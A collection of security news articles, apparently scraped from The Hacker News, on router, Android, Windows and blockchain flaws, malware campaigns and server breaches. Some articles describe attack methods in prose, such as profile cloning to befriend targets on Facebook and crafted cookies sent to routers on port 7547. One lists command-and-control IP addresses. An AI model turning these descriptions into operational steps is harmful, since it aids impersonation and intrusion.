Since the super node system can be controlled, the researchers said the attackers can "do whatever they want," including, controlling the virtual currency transactions, and acquiring other financial and privacy data in the EOS network participating node systems, such as an exchange Digital currency, the user's key stored in the wallet, key user profiles, privacy data, and much more.
"What's more, the attacker can turn a node in the EOS network into a member of a botnet, launch a cyber attack or become a free 'miner' and dig up other digital currencies," the researchers told THN.
Researchers have detailed how to reproduce the vulnerability and also released a proof-of-concept exploit, along with a video demonstration, which you can watch on their blog post.
The exploit demonstrated by the 360Vulcan researcher can bypass multiple default security mitigation measures to achieve complete control over the super node running the malicious contract.
The pair responsibly reported the vulnerability to the maintainers of the EOS project, and they have already released a fix for the issue on GitHub.
"In Blockchain networks and digital currency systems, there are many attack surfaces existing in nodes, digital wallets, mining pools and smart contracts. 360 security team has previously discovered and disclosed multiple relevant high risk vulnerabilities,"
The researchers believe the new type of vulnerabilities affect not only EOS alone but also other types of Blockchain platforms and virtual currency applications.
| Vulnerability |
Security Research : Be friend to anyone on Facebook in 24 hours | https://thehackernews.com/2011/11/security-research-be-friend-to-anyone.html | Security Research : Be friend to anyone on Facebook in 24 hours
"People have simply ignored the threat posed by adding a profile without checking if this profile is true. New Technologies have loopholes, but it is up to the users to be aware of this type of flaw. Social networks can be fantastic, but people make mistakes. Privacy is a matter of social responsibility. There is no solution. We must make good use of the social network and we are alone in this task", said Nelson Novaes, a Brazilian (independent) Security and Behavior Research. The two experiments (Proof of Concept – Research Study) were presented at the Conference Silver Bullet. Both were used with the sole purpose of POC to demonstrate the fragility and privacy issues in the use of social networks.
The technique is unusual and totally contrary to the terms of use of Facebook, but shows exactly how users can be manipulated. To prove his theory, the researcher in the field of online security and behavior Nelson Novaes has created an experiment through which he intended to befriend on Facebook a girl who worked with web security. For the purpose of the study, she was named SecGirl. The purpose of this experiment was to add SecGirl as a friend on Facebook in less than 24 hours. The result came earlier than expected: the specialist has managed to add SecGirl to his contact list in seven and a half hours.
To get closer to SecGirl, Novaes literally cloned the profile of someone very close to the girl: her manager. Using the clone profile, Novaes began to request the friendship from friends of friends of the manager. In just one hour, 24 of the 432 requests were accepted. The remarkable thing is that 96% of the people that accepted the friendship request had already added the true owner of the profile to their contact list (that is: they added the same person twice to their list, unaware of the false profile).
In the next hour, the researcher devoted himself to request the friendship from direct friends of the manager. Of the 436 requests, 14 people accepted the request made by the false profile – again, all these persons had already added the original profile to their contact lists and yet added the clone profile. In just over two hours, the manager accepted the friendship request made by the profile cloned by Novaes.
This fact would be crucial tor SecGirl's decision of adding the profile cloned as friend seven and a half hours after the beginning of the experiment. The logic is as follows: if a user has so many mutual friends, you should befriend him/her – or else, he/she is somewhat part of your circle of friends, not a complete stranger. Therefore, you decide to add this person to your Facebook profile and he/she can access information that cannot be accessed by other people.
"Most people have spent a great deal of their time cultivating their tens (of perhaps hundreds) of relationships that make up their contact list on Facebook. One theory, however, puts on permanent alert the premise of social networks: it is possible to befriend almost anyone on Facebook in less than 24 hours." He added.
The experiment has also revealed what Novaes considers a serious failure of privacy on Facebook. According to the researcher, the recent tool "Ticker" (currently available to only a few Facebook users), which displays updates from contacts in real time in the upper right corner, reveals more than the user expects, such as signs of infidelity. And such information cannot be excluded.
Presentation:
| Vulnerability |
Router Vulnerability Puts 12 Million Home and Business Routers at Risk | https://thehackernews.com/2014/12/router-vulnerability-puts-12-million.html | More than 12 million routers in homes and businesses around the world are vulnerable to a critical software bug that can be exploited by hackers to remotely monitor users' traffic and take administrative control over the devices, from a variety of different manufacturers.
The critical vulnerability actually resides in web server "RomPager" made by a company known as AllegroSoft, which is typically embedded into the firmware of router , modems and other "gateway devices" from about every leading manufacturer. The HTTP server provides the web-based user-friendly interface for configuring the products.
Researchers at the security software company Check Point have discovered that the RomPager versions prior to 4.34 — software more than 10 years old — are vulnerable to a critical bug, dubbed as Misfortune Cookie. The flaw named as Misfortune Cookie because it allows attackers to control the "fortune" of an HTTP request by manipulating cookies.
HOW MISFORTUNE COOKIE FLAW WORKS
The vulnerability, tracked as CVE-2014-9222 in the Common Vulnerabilities and Exposures database, can be exploited by sending a single specifically crafted request to the affected RomPager server that would corrupt the gateway device's memory, giving the hacker administrative control over it. Using which, the attacker can target any other device on that network.
"Attackers can send specially crafted HTTP cookies [to the gateway] that exploit the vulnerability to corrupt memory and alter the application and system state," said Shahar Tal, malware and vulnerability research manager with Check Point. "This, in effect, can trick the attacked device to treat the current session with administrative privileges - to the misfortune of the device owner.
Once attackers gain the control of the device, they could monitor victims' web browsing, read plaintext traffic traveling over the device, change sensitive DNS settings, steal account passwords and sensitive data, and monitor or control Webcams, computers, or other network connected devices.
MAJOR ROUTERS & GATEWAY BRANDS VULNERABLE
At least 200 different models of gateway devices, or small office/home office (SOHO) routers from various manufacturers and brands are vulnerable to Misfortune Cookie, including kit from D-Link, Edimax, Huawei, TP-Link, ZTE, and ZyXEL.
The bug not only affects routers, modems and other gateway devices, but anything connected to them from PCs, smartphones, tablets and printers to "smart home" devices such as toasters, refrigerators, security cameras and more. This simply means if a vulnerable router is compromised, all the networked device within that LAN is at risk.
WORSE ATTACK SCENARIO
Misfortune Cookie flaw can be exploited by any attacker sitting anywhere in the world even if the gateway devices are not configured to expose its built-in Web-based administration interface to the wider Internet, making the vulnerability more dangerous.
Because many routers and gateway devices are configured to listen for connection requests publicly on port 7547 as part of a remote management protocol called TR-069 or CWMP (Customer Premises Equipment WAN Management Protocol), allowing attackers to send a malicious cookie from far away to that port and hit the vulnerable server software.
12 MILLION DEVICES OPEN TO HIJACK
The critical vulnerability was introduced in 2002, and AllegroSoft apparently fixed the bug in its RomPager software back in 2005, but hardware from major companies such as Huawei, D-Link, ZTE and others currently sell products contains the vulnerable versions of RomPager. As demonstrated by Check Point's finding that 12 million vulnerable gateway devices in homes, offices and other locations still exist.
"We believe that devices exposing RomPager services with versions before 4.34 (and specifically 4.07) are vulnerable. Note that some vendor firmware updates may patch RomPager to fix Misfortune Cookie without changing the displayed version number, invalidating this as an indicator of vulnerability."
"Misfortune Cookie is a serious vulnerability present in millions of homes and small businesses around the world, and if left undetected and unguarded, could allow hackers to not only steal personal data, but control peoples' homes," Tal said.
So far, Check Point has not observed an attack involving Misfortune Cookie in the wild, but the company is having a close look on the older unresolved issues in which routers and gateway devices were compromised in different and unknown ways.
| Vulnerability |
New Man-in-the-Disk attack leaves millions of Android phones vulnerable | https://thehackernews.com/2018/08/man-in-the-disk-android-hack.html | Security researchers at Check Point Software Technologies have discovered a new attack vector against the Android operating system that could potentially allow attackers to silently infect your smartphones with malicious apps or launch denial of service attacks.
Dubbed Man-in-the-Disk, the attack takes advantage of the way Android apps utilize 'External Storage' system to store app-related data, which if tampered could result in code injection in the privileged context of the targeted application.
It should be noted that apps on the Android operating system can store its resources on the device in two locations—internal storage and external storage.
Google itself offers guidelines to Android application developers urging them to use internal storage, which is an isolated space allocated to each application protected using Android's built-in sandbox, to store their sensitive files or data.
However, researchers found that many popular apps—including Google Translate itself, along with Yandex Translate, Google Voice Typing, Google Text-to-Speech, Xiaomi Browser—were using unprotected external storage that can be accessed by any application installed on the same device.
How Android Man-in-the-Disk Attack Works?
Similar to the "man-in-the-middle" attack, the concept of "man-in-the-disk" (MitD) attack involves interception and manipulation of data being exchanged between external storage and an application, which if replaced with a carefully crafted derivative "would lead to harmful results."
For instance, researchers found that Xiaomi web browser downloads its latest version on the external storage of the device before installing the update. Since app fails to validate the integrity of the data, the app's legitimate update code can be replaced with a malicious one.
"Xiaomi Browser was found to be using the External Storage as a staging resource for application updates," the researchers said in a blog post.
"As a result, our team was able to carry out an attack by which the application's update code was replaced, resulting in the installation of an alternative, undesired application instead of the legitimate update."
In this way, attackers can get a man-in-the-disk position, from where they can monitor data transferred between any other app on the user's smartphone and the external storage and overwrite it with their own malicious version in order to manipulate or crash them.
The attack can also be abused to install another malicious app in the background without the user's knowledge, which can eventually be used to escalate privileges and gain access to other parts of the Android device, like camera, microphone, contact list, and more.
Man-in-the-Disk Attack Video Demonstrations
Check Point researchers also managed to compromise files and crash Google Translate, Google Voice-to-Text, and Yandex Translate because those apps also failed to validate the integrity of data used from the Android's external storage.
Among the apps that Check Point researchers tested for this new MitD attack were Google Translate, Yandex Translate, Google Voice Typing, LG Application Manager, LG World, Google Text-to-Speech, and Xiaomi Browser.
Google, which itself doesn't follow its security guidelines, acknowledged and fixed some affected applications and is in the process of fixing other vulnerable apps as well, Check Point said.
Besides Google, the researchers also approached the developers of other vulnerable applications as well, but some, including, Xiaomi declined to fix the issue, according to the researchers.
"Upon discovery of these application vulnerabilities, we contacted Google, Xiaomi, and vendors of other vulnerable applications to update them and request their response," Check Point researchers said.
"A fix to the applications of Google was released shortly after, additional vulnerable applications are being updated and will be disclosed once the patch is made available to their users, while Xiaomi chose not to address it at this time."
The researchers stressed they only tested a small number of major applications and therefore expect the issue affects a more significant number of Android apps than what they explicitly noted, leaving millions of Android users potentially vulnerable to cyber threats.
| Vulnerability |
Google Discloses Poorly-Patched, Now Unpatched, Windows 0-Day Bug | https://thehackernews.com/2020/12/google-discloses-poorly-patched-now.html | Google's Project Zero team has made public details of an improperly patched zero-day security vulnerability in Windows print spooler API that could be leveraged by a bad actor to execute arbitrary code.
Details of the unpatched flaw were revealed publicly after Microsoft failed to rectify it within 90 days of responsible disclosure on September 24.
Originally tracked as CVE-2020-0986, the flaw concerns an elevation of privilege exploit in the GDI Print / Print Spooler API ("splwow64.exe") that was reported to Microsoft by an anonymous user working with Trend Micro's Zero Day Initiative (ZDI) back in late December 2019.
But with no patch in sight for about six months, ZDI ended up posting a public advisory as a zero-day on May 19 earlier this year, after which it was exploited in the wild in a campaign dubbed "Operation PowerFall" against an unnamed South Korean company.
"splwow64.exe" is a Windows core system binary that allows 32-bit applications to connect with the 64-bit printer spooler service on 64-bit Windows systems. It implements a Local Procedure Call (LPC) server that can be used by other processes to access printing functions.
Successful exploitation of this vulnerability could result in an attacker manipulating the memory of the "splwow64.exe" process to achieve execution of arbitrary code in kernel mode, ultimately using it to install malicious programs; view, change, or delete data; or create new accounts with full user rights.
However, to achieve this, the adversary would first have to log on to the target system in question.
Although Microsoft eventually addressed the shortcoming as part of its June Patch Tuesday update, new findings from Google's security team reveals that the flaw has not been fully remediated.
"The vulnerability still exists, just the exploitation method had to change," Google Project Zero researcher Maddie Stone said in a write-up.
"The original issue was an arbitrary pointer dereference which allowed the attacker to control the src and dest pointers to a memcpy," Stone detailed. "The 'fix' simply changed the pointers to offsets, which still allows control of the args to the memcpy."
The newly reported elevation of privilege flaw, identified as CVE-2020-17008, is expected to be resolved by Microsoft on January 12, 2021, due to "issues identified in testing" after promising an initial fix in November.
Stone has also shared a proof-of-concept (PoC) exploit code for CVE-2020-17008, based off of a PoC released by Kaspersky for CVE-2020-0986
"There have been too many occurrences this year of zero-days known to be actively exploited being fixed incorrectly or incompletely," Stone said. "When [in the wild] zero-days aren't fixed completely, attackers can reuse their knowledge of vulnerabilities and exploit methods to easily develop new zero-days."
| Vulnerability |
Researchers uncovered new malware used by Chinese cyber criminals | https://thehackernews.com/2013/05/researchers-uncovered-new-malware-used.html | Trend Micro researchers have uncovered a new backdoor pieces of malware from the Winnti family, which are mainly used by a Chinese cyber criminal group to target South East Asian organizations from the video gaming sector.
Winnti malware used by hackers to hijack control of web users systems using a new backdoor contained in the legitimate Aheadlib analysis tool. Dubbed as "Bkdr_Tengo.A," passes itself off as a legitimate system DLL file called winmm.dll. "We believe that this was done using a legitimate tool called Aheadlib, which is a legitimate analysis tool." wrote Trend Micro's Eduardo Altares.
"The file is not encrypted and neither was it particularly hard to analyze. Its main behavior is to steal Microsoft Office, .PDF, and .TIFF files from USB drives inserted into the system. These stolen files are stored in the $NtUninstallKB080515$ under the Windows folder. It also creates a log file named Usblog_DXM.log. The files can be retrieved by the attacker at a later time. Aside from retrieving files, it has several backdoor commands which allow the attacker to take control of the system."
Aheadlib is a legitimate analysis tool that can be used to construct C code from DLL files. The tool is capable of hooking all the functions provided by the initial library. The criminals reportedly used the tool, which is connected to various parts of the network it is analysing, to create a backdoor they can use to bypass the system's security protocols.
"Two of these IP addresses proved to be of particular interest, namely 50.93.204.62 and 98.143.145.118. They are located in the United States, but multiple Chinese-language domains point to them. All of these have been blocked as command-and-control servers," he said.
This attack highlights how information theft can be performed even with malware that is not particularly advanced or sophisticated. It also shows some of the challenges in attributing attacks of this nature.
| Malware |
Dropper Malware comes with DLL Hijacking Feature | https://thehackernews.com/2012/02/dropper-malware-comes-with-dll.html | Dropper Malware comes with DLL Hijacking Feature
Trojans, Viruses, Worms have become the scare of the year, and with good reason. Many of the recent files are malicious in nature, causing the infected user at the very worst, to lose everything on their computer. There are few specially coded malware, which are not only developed to ensure that they cause maximum damage and steal all the sensitive information they can find on the infected devices.
According to Bitdefender experts, In a blog post they mention about such a malware called "Dropper" or Trojan.Dropper.UAJ. But the brand new in terms of approach that dropper hijacks a library file called comres.dll, altering it to ensure that each time it's being used, the malware steps into play. The smartness of this malware can be judge from here that, it makes a copy of the genuine comres.dll file, patches it and then saves it in the Windows directory folder, where the operating system normally looks for a DLL to load when it is required.
This attack unites two type of exploitation. DLL Hijacking is an attack that exploits the way some Windows applications search and load Dynamic Link Libraries. A bad guy can place a fake DLL for a known program in a location that is searched before the real DLL's location and almost guarantee that the malicious DLL is loaded, resulting in whatever code the attacker wants to run running. The Trojan then drops a Backdoor, identified by Bitdefender as Backdoor.Zxshell.B, which actually contains the code compromising the system.
Trojan.Dropper.UAJ is able to run on Windows7, Windows Vista, Windows 2003, Windows 2000 or Windows NT in both 32- and 64-bit environments.
2012 in terms of malware will be one of explosive growth, mostly because of the spread and growing allure of social networks and Security issues of the Android platform will mean that the number of threats to smartphones and tablets will also experience a boost in 2012.
[Source]
| Malware |
Hackers Breach LineageOS, Ghost, DigiCert Servers Using SaltStack Vulnerability | https://thehackernews.com/2020/05/saltstack-rce-exploit.html | Days after cybersecurity researchers sounded the alarm over two critical vulnerabilities in the SaltStack configuration framework, a hacking campaign has already begun exploiting the flaws to breach servers of LineageOS, Ghost, and DigiCert.
Tracked as CVE-2020-11651 and CVE-2020-11652, the disclosed flaws could allow an adversary to execute arbitrary code on remote servers deployed in data centers and cloud environments. The issues were fixed by SaltStack in a release published on April 29th.
"We expect that any competent hacker will be able to create 100% reliable exploits for these issues in under 24 hours," F-Secure researchers had previously warned in an advisory last week.
LineageOS, a maker of an open-source operating system based on Android, said it detected the intrusion on May 2nd at around 8 pm Pacific Time.
"Around 8 pm PST on May 2nd, 2020, an attacker used a CVE in our SaltStack master to gain access to our infrastructure," the company noted in its incident report but added Android builds and signing keys were unaffected by the breach.
Ghost, a Node.js based blogging platform, also fell victim to the same flaw. In its status page, the developers noted that "around 1:30 am UTC on May 3rd, 2020, an attacker used a CVE in our SaltStack master to gain access to our infrastructure" and install a cryptocurrency miner.
"The mining attempt spiked CPUs and quickly overloaded most of our systems, which alerted us to the issue immediately," Ghost added.
Ghost, however, confirmed there was no evidence the incident resulted in a compromise of customer data, passwords, and financial information.
Both LineageOS and Ghost have restored the services after taking the servers offline to patch the systems and secure them behind a new firewall.
In a separate development, the Salt vulnerability was used to hack into DigiCert certificate authority as well.
"We discovered today that CT Log 2's key used to sign SCTs (signed certificate timestamps) was compromised last night at 7 pm via the Salt vulnerability," DigiCert's VP of Product Jeremy Rowley said in a Google Groups post made on Sunday.
In an email conversation with The Hacker News, DigiCert also said it's deactivating its CT 2 log server following the incident but clarified that the other certificate transparency logs, CT 1, Yeti, and Nessie were not impacted.
"On May 3, DigiCert announced that it is deactivating its Certificate Transparency (CT) 2 log server after determining that the key used to sign SCTs may have been exposed via critical SALT vulnerabilities," the company said.
"We do not believe the key was used to sign SCTs outside of the CT log's normal operation, though as a precaution, CAs that received SCTs from the CT2 log after May 2 at 5 pm MST should receive an SCT from another trusted log. Three other DigiCert CT logs: CT1, Yeti, and Nessie, are not affected as they are run on completely different infrastructure. The impacts are limited to only the CT2 log and no other part of DigiCert's CA or CT Log systems,"
With F-Secure's alert revealing more than 6,000 Salt vulnerable servers that can be exploited via this vulnerability, if left unpatched, companies are advised to update the Salt software packages to the latest version to resolve the flaws.
| Cyber_Attack |
KALI Linux Mailing List Website Hacked Using Heartbleed Vulnerability | https://thehackernews.com/2014/04/kali-linux-mailing-list-website-hacked.html | When it comes to Digital Forensics, Penetration and Security testing, we mostly relies on Kali Linux distribution (also known as Backtrack), which is designed for security professionals and packed with more than 300 security testing tools.
But Today, Mailing List sub-domain of Kali Linux get hacked and defaced by Libyan hacking group known as 'The GreaT TeAm (TGT)'.
A mailing list is simply a list of email addresses to which the same information is being sent. A discussion list is used to allow a group of people to discuss topics amongst themselves, with everyone able to send mail to the list and have it distributed to everyone in the group. Mailing lists have become a popular way for Internet users to keep up with topics they're interested in.
At the time of writing, The Homepage of Kali Linux mailing list domain was displaying two lists, i.e.
Kali with description "Hacked By The GreaT TeAm -TGT"
Kali-Dev with description "Libyan Hackers"
Somehow Hackers managed to exploit some unknown vulnerability, either on Kali Linux web server or in Mailing list software used by Offensive Security team, and posted a Batman movie pic with Greetings text, "h4x3d by The GreaT TeAm" and "Libyan H4x0rz :D", as shown in the above screenshot.
Hackers have also shared mirror of the defacement attack at Zone-H website.
Update: Hacker told 'The Hacker News' editorial via email that lists.kali.org domain is hosted on https://mailmanlist.net/, who offers an easy web interface for administrators to manage their discussion lists. Hacker claimed that 'Mailman List' website is affected by 'Heartbleed' vulnerability.
He said, "First I got access to one of the Mailmanlist.net user acount with stolen cookies, collected by exploiting Heartbleed vulnerability and then I searched for other web application vulnerabilities", that allowed him to extract the administrative username and password of the Kali Malining list account.
Heartbleed vulnerability in OpenSSL is a serious and widespread problem and despite having a team of top Security Researchers, Kali Linux too didn't remain untouched from it.
Update: Kali team tweeted, "Looks like our inactive, 3rd party, 0 volume mailing list was hacked. DNS entry removed - back to sleep, problem solved."
| Vulnerability |
Serious Smishing vulnerability reported in Samsung Galaxy S4 | https://thehackernews.com/2013/06/serious-smishing-vulnerability-reported.html | Serious security vulnerability was recently discovered on the Samsung flagship Galaxy S4 device, claiming that attackers can use it to silently send text messages.
Qihoo 360 Technology, an antivirus company based in China, said that this particular vulnerability is related to the "cloud backup" feature of Galaxy S4, which is not properly protected and can be abused.
This vulnerability was first discovered on June 17 and already reported the issue to Samsung and the company is already in the process of developing an official update to fix the vulnerability.
A rogue mobile application could contain code exploiting the vulnerability to send fraudulent scam text messages ordering premium-rate services, the firm said.
By exploiting the vulnerable cloud backup feature, malware could pretend to be the identity of any contact, friend, relative, or organization when faking phishing SMS messages. When these phishing SMS messages are received, users may be tricked into clicking fraudulent links or disclosing sensitive personal information.
Qihoo recommends S4 users temporarily disable the cloud backup feature when not in use. A temporary fix has also been made by Qihoo 360, and can be deactivated once the security flaw has been patched.
| Vulnerability |
Microsoft Warns of a New Rare Fileless Malware Hijacking Windows Computers | https://thehackernews.com/2019/09/windows-fileless-malware-attack.html | Watch out Windows users!
There's a new strain of malware making rounds on the Internet that has already infected thousands of computers worldwide and most likely, your antivirus program would not be able to detect it.
Why? That's because, first, it's an advanced fileless malware and second, it leverages only legitimate built-in system utilities and third-party tools to extend its functionality and compromise computers, rather than using any malicious piece of code.
The technique of bringing its own legitimate tools is effective and has rarely been spotted in the wild, helping attackers to blend in their malicious activities with regular network activity or system administration tasks while leaving fewer footprints.
Independently discovered by cybersecurity researchers at Microsoft and Cisco Talos, the malware — dubbed "Nodersok" and "Divergent" — is primarily being distributed via malicious online advertisements and infecting users using a drive-by download attack.
First spotted in mid-July this year, the malware has been designed to turn infected Windows computers into proxies, which according to Microsoft, can then be used by attackers as a relay to hide malicious traffic; while Cisco Talos believes the proxies are used for click-fraud to generate revenue for attackers.
Multi-Stage Infection Process Involves Legitimate Tools
The infection begins when malicious ads drop HTML application (HTA) file on users' computers, which, when clicked, executes a series of JavaScript payloads and PowerShell scripts that eventually download and install the Nodersok malware.
"All of the relevant functionalities reside in scripts and shellcodes that are almost always coming in encrypted, are then decrypted, and run while only in memory. No malicious executable is ever written to the disk," Microsoft explains.
As illustrated in the diagram, the JavaScript code connects to legitimate Cloud services and project domains to download and run second-stage scripts and additional encrypted components, including:
PowerShell Scripts — attempt to disable Windows Defender antivirus and Windows update.
Binary Shellcode — attempts to escalate privileges using auto-elevated COM interface.
Node.exe — Windows implementation of the popular Node.js framework, which is trusted and has a valid digital signature, executes malicious JavaScript to operate within the context of a trusted process.
WinDivert (Windows Packet Divert) — a legitimate, powerful network packet capture and manipulation utility that malware uses to filter and modify certain outgoing packets.
At last, the malware drops the final JavaScript payload written for the Node.js framework that converts the compromised system into a proxy.
"This concludes the infection, at the end of which the network packet filter is active, and the machine is working as a potential proxy zombie," Microsoft explains.
"When a machine turns into a proxy, it can be used by attackers as a relay to access other network entities (websites, C&C servers, compromised machines, etc.), which can allow them to perform stealthy malicious activities."
According to the experts at Microsoft, the Node.js-based proxy engine currently has two primary purposes—first, it connects the infected system back to a remote, attacker-controlled command-and-control server, and second, it receives HTTP requests to proxy back to it.
On the other hand, experts at Cisco Talos concludes that the attackers are using this proxy component to command infected systems to navigate to arbitrary web pages for monetization and click fraud purposes.
Nodersok Infected Thousands of Windows Users
According to Microsoft, the Nodersok malware has already infected thousands of machines in the past several weeks, with most targets located in the United States and Europe.
While the malware primarily focuses on targeting Windows home users, researchers have seen roughly 3% of attacks targeting organization from industry sectors, including education, healthcare, finance, retail, and business and professional services.
Since the malware campaign employs advanced fileless techniques and relies on elusive network infrastructure by making use of legit tools, the attack campaign flew under the radar, making it harder for traditional signature-based antivirus programs to detect it.
"If we exclude all the clean and legitimate files leveraged by the attack, all that remains are the initial HTA file, the final Node.js-based payload, and a bunch of encrypted files. Traditional file-based signatures are inadequate to counter sophisticated threats like this," Microsoft says.
However, the company says that the malware's "behavior produced a visible footprint that stands out clearly for anyone who knows where to look."
In July this year, Microsoft also discovered and reported another fileless malware campaign, dubbed Astaroth, that was designed to steal users' sensitive information, without dropping any executable file on the disk or installing any software on the victim's machine.
Microsoft said its Windows Defender ATP next-generation protection detects this fileless malware attacks at each infection stage by spotting anomalous and malicious behaviors, such as the execution of scripts and tools.
| Malware |
Subsets and Splits